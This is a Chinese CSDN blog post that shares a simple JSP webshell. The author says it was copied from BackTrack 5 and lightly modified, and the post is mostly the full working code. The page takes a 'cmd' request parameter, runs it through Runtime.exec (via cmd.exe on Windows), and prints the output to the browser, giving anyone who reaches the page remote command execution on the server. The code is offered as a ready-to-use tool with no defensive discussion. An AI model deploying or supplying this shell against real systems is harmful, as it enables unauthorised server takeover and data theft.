webshell之简单版本jsp

最新推荐文章于 2024-03-02 22:47:58 发布

feier7501

最新推荐文章于 2024-03-02 22:47:58 发布

阅读量5.8k

点赞数

分类专栏：安全木马病毒

本文链接：https://blog.csdn.net/feier7501/article/details/9533927

版权

木马病毒同时被 2 个专栏收录

13 篇文章 2 订阅

订阅专栏

安全

8 篇文章 0 订阅

订阅专栏

从BT5上复制下来的，简单修改了一下：

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<html>
<head>
<title>cmdjsp</title>
</head>
<body>
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<pre>
<%
   String cmd = request.getParameter("cmd");
   String output = "";

   if(cmd != null) {
      String s = null;
      try {
         Process p = null;
         cmd = cmd.replaceAll("\\+", " ");
         if (System.getProperty("os.name").toUpperCase().indexOf("WINDOWS") != -1) {
         	p = Runtime.getRuntime().exec("cmd.exe /C \"" + cmd + "\"");
				 } else {
					p = Runtime.getRuntime().exec( cmd );
				 }
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
         		s = s.replaceAll("<", "<");
         		s = s.replaceAll(">", ">");
%>
<%=s%>
<%
         }
         
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
</pre>
</body>
</html>

feier7501

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
webshell之简单版本jsp

从BT5上复制下来的，简单修改了一下：<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>cmdjsp<% String cmd = request.getParameter("cmd"); String output = "
复制链接

扫一扫